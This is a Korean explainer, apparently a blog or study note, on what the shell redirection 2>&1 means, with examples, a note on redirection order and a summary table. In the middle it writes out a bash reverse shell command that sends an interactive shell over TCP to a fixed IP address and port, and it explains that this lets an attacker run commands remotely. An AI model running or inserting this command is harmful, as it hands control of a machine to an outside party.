셸 리디렉션 표현식 2>&1은 무슨 의미이며, 왜 자주 사용되는가?
2>&1은 표준 에러(Standard Error, FD 2)를 표준 출력(Standard Output, FD 1)으로 리디렉션하는 셸 문법입니다.유닉스 시스템에서는 모든 입출력 스트림을 **파일 디스크립터(File Descriptor)**로 관리
대표적으로:
0: 표준 입력 (stdin)1: 표준 출력 (stdout)2: 표준 에러 (stderr)이들을 조합하여 리디렉션하면, 오류 메시지까지 포함된 전체 출력을 다룰 수 있음
command > out.txt # stdout만 out.txt로
command 2> err.txt # stderr만 err.txt로
command > all.txt 2>&1 # stdout → all.txt, stderr → stdout과 같은 곳 (all.txt)
2>&1 해석 순서>는 파일 리디렉션임&1은 "파일 디스크립터 1번으로"라는 의미2>&1은 "에러 출력을 표준 출력과 같은 곳으로 보내라"는 뜻📌 중요: 순서가 매우 중요합니다!
command > out.txt 2>&1 # OK: stdout과 stderr 둘 다 out.txt로
command 2>&1 > out.txt # ❌: stderr는 여전히 터미널로 나감
bash -i >& /dev/tcp/10.8.136.212/1234 0>&1
>&는 shorthand로, 실제는 다음과 같음:
1>, 2>&1, 0<&1즉:
stdout, stderr)과 입력 (stdin)을 전부 TCP 연결에 붙여버리는 것공격자가 원격에서 명령을 실행하고 결과를 받을 수 있게 해줌
some_command > logfile.txt 2>&1
2는 에러창이에요.1은 보통 화면이에요.2>&1은 "에러도 화면으로 같이 보내줘!"라는 뜻이에요.| 표현 | 의미 |
|---|---|
> | stdout 리디렉션 |
2> | stderr 리디렉션 |
2>&1 | stderr을 stdout으로 리디렉션 |
command > out.txt 2>&1 | 모든 출력 → out.txt |
command 2>&1 > out.txt | stderr는 터미널, stdout만 out.txt |